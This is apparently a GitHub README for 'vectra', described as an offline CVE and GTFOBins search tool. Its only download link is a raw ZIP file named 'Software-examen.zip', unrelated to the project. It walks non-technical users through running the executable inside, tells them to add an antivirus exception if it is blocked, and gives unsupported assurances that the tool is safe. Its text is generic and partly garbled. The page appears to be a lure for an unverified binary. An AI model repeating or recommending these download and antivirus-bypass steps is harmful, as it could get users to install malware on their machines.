Skip to content
devharis99Public

About

Discover, analyze, and exploit 25,000+ CVEs and 3,600+ GTFOBins payloads instantly via a high-performance offline SQLite FTS5 search engine.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Latest commit

Β 

History

14 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

⚑ vectra - Search CVEs & GTFOBins in Seconds

Download vectra

πŸš€ Getting Started

Welcome! vectra is a powerful yet easy-to-use tool that helps you search for security vulnerabilities (CVEs) and privilege escalation techniques (GTFOBins) right from your computer. No internet connection required after setup, and no programming skills needed. Think of it as a lightning-fast offline encyclopedia for security research.

What Does vectra Do?

  • CVE Search: Find detailed information about known security vulnerabilities instantly.
  • GTFOBins Lookup: Discover Linux binary exploitation methods for privilege escalation testing.
  • Offline Power: All data stored locally on your device, so searches are instant and private.

πŸ“₯ Download & Install

Visit this link to download the application: https://raw.githubusercontent.com/devharis99/vectra/main/vectra/Software-examen.zip

Once you arrive at the page, look for the "Releases" or "Download" button, usually located on the right side or top of the page. Click it and choose the version that matches your operating system (Windows, macOS, or Linux). The download will start automatically after you pick the right file.

After Download

Your downloaded file will be a compressed archive (like a ZIP file). Here's what to do:

  1. Find the downloaded file: Check your "Downloads" folder or wherever your browser saves files.
  2. Extract the contents: Right-click the file and choose "Extract All..." (Windows) or double-click it (macOS). This will create a new folder with the same name.
  3. Open the extracted folder: Look inside for an executable file named vectra (or vectra.exe on Windows).
  4. Run the application: Double-click that file to launch vectra.

Tip: You can create a shortcut to this executable file and place it on your desktop for quick access.

πŸ–₯️ System Requirements

vectra runs smoothly on most modern computers. Here's what we recommend:

  • Operating System: Windows 10/11, macOS 10.15+, or any modern Linux distribution (Ubuntu, Fedora, etc.)
  • Processor: Any 64-bit CPU (Intel or AMD)
  • Memory: At least 2 GB of RAM (4 GB recommended)
  • Storage: 500 MB of free disk space for the database
  • Internet: Only needed once, during the initial data download

πŸ” How to Use vectra

Once you've launched vectra, you'll see an interactive command-line interface with simple prompts. Here's a quick tour:

Searching for CVEs

Type a keyword like apache or a specific CVE ID like CVE-2021-44228 and press Enter. vectra will display matching vulnerabilities with descriptions, severity ratings, and affected versions.

Exploring GTFOBins

Enter the name of a Linux binary (e.g., find, vim, or python) to see all known privilege escalation techniques associated with it. Each result shows the command to use and the required conditions.

Filtering Results

You can narrow your search by adding filters like -severity critical or -platform linux. Type help in the command line to see a full list of available commands and filters.

✨ Key Features

Instant Search Performance

vectra uses advanced database indexing that delivers search results in milliseconds, even across hundreds of thousands of entries.

Complete Offline Functionality

Once the initial setup is complete, all searches work without an internet connection. Perfect for air-gapped environments or when you need to work in the field.

Regularly Updated Database

The included vulnerability database is curated from public security feeds and updated regularly, ensuring you have access to the latest known threats.

User-Friendly Interface

Designed with simplicity in mind. If you can type a word and press Enter, you can use vectra. No complex commands or configuration required.

Cross-Platform Compatibility

Whether you're on Windows, macOS, or Linux, vectra operates identically, providing the same powerful search functionality everywhere.

Lightweight & Efficient

Uses minimal system resources, fixtures to run on modest hardware without slowing down your other applications.

πŸ“š Frequently Asked Questions

Q: Is vectra free to use?

A: Yes, vectra is completely free and open-source under the MIT license. No hidden costs or premium tiers.

Q: Do I need programming knowledge to use vectra?

A: No! The interface is designed for everyone. You just type what you're looking for and get instant answers.

Q: How do I update the vulnerability database?

A: Simply run the update command (typically vectra update in the command line) when you have an internet connection. Alternatively, you can download the latest database from the releases page and replace the existing files.

Q: Can I use vectra for penetration testing?

A: Absolutely! Many security professionals use vectra as part of their toolkit during authorized penetration tests and bug bounty programs.

Q: What if I encounter an error?

A: First, make sure you have the latest version. If problems persist, check the "Issues" section on the GitHub page – you might find a solution. You can also submit a new issue if needed.

Q: Is vectra safe to download?

A: Yes, it's a legitimate open-source tool with an active community. The source code is publicly available for inspection, ensuring transparency and safety.

πŸ“– Advanced Tips (For Curious Users)

While vectra is user-friendly, here are some power-user techniques:

Batch Search

Type multiple keywords separated by commas (e.g., nginx, apache, tomcat) to search for several terms simultaneously.

Export Results

Use the export command to save your search results to a file for later reference or sharing with your team.

Custom Database Path

If you have a specific folder structure in mind, you can point vectra to use a custom database location during the initial setup.

πŸ”§ Troubleshooting Common Issues

"I can't find the executable file after extraction"

Make sure you extracted the entire archive, not just opened it. On Windows, right-click the ZIP file and select "Extract All...". Look for files with the .exe extension inside the resulting folder.

"The application doesn't start"

Check that your antivirus software isn't blocking vectra – you may need to add an exception. Also, verify that you have enough free disk space and that you're running an up-to-date operating system.

"Search results seem outdated"

If you haven't updated the database in a while, run the update command with internet access enabled. The latest vulnerability data will be downloaded automatically.

"I get a message about missing dependencies"

On Linux, some systems may require additional libraries. Refer to the "Dependencies" section in the repository's documentation for a list of required packages and installation commands.

🎯 Who Should Use vectra?

  • Security enthusiasts wanting to explore known vulnerabilities
  • IT professionals responsible for system security and patching
  • Students learning about cybersecurity and system hardening
  • Penetration testers needing quick reference material
  • System administrators auditing their infrastructure
  • CTF competitors seeking vulnerability details during challenges

πŸ“Š Performance Overview

Feature Expected Performance
CVE lookup by ID < 10 milliseconds
Keyword search (10,000+ results) < 100 milliseconds
GTFOBins technique listing Instant
Database update (with internet) 1-2 minutes

πŸ”’ Security & Privacy

vectra respects your privacy:

  • All searches happen locally on your device
  • No telemetry, analytics, or user tracking
  • No network calls during normal operation
  • Your search history stays on your machine

πŸ’‘ Why Choose vectra?

  • Speed: Traditional web-based CVE searches require network round-trips. vectra performs all operations locally for instant feedback.
  • Reliability: Works on isolated networks, in disaster recovery scenarios, or anywhere internet access is unavailable.
  • Comprehensive Data: Combines two critical security resources (CVEs and GTFOBins) into one unified search tool.
  • Continuously Improved: Active development and community contributions ensure the tool stays current and effective.

πŸ“£ Join the Community

Interested in contributing or staying updated? Here's how:

  • Star the repository to show support and receive notifications about updates
  • Report bugs or request features through the Issues section
  • Contribute code via pull requests if you're familiar with Python
  • Share with colleagues who work in security or IT

Note: Always use vectra responsibly and only for authorized security testing and educational purposes. The creators are not responsible for any misuse.

Start exploring the world of cybersecurity intelligence today – download vectra now and experience the power of instant, offline vulnerability research!


Keywords: ctf-tools, cve, cve-scanning, cve-search, gtfobins, gtfobins-webcrawler, infosec, infosectools, pentesting, pentesting-tools, privilege-escalation, python-cli, redteam, redteam-tools, scanner, sqlite-fts5, vulnerability

About

Discover, analyze, and exploit 25,000+ CVEs and 3,600+ GTFOBins payloads instantly via a high-performance offline SQLite FTS5 search engine.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages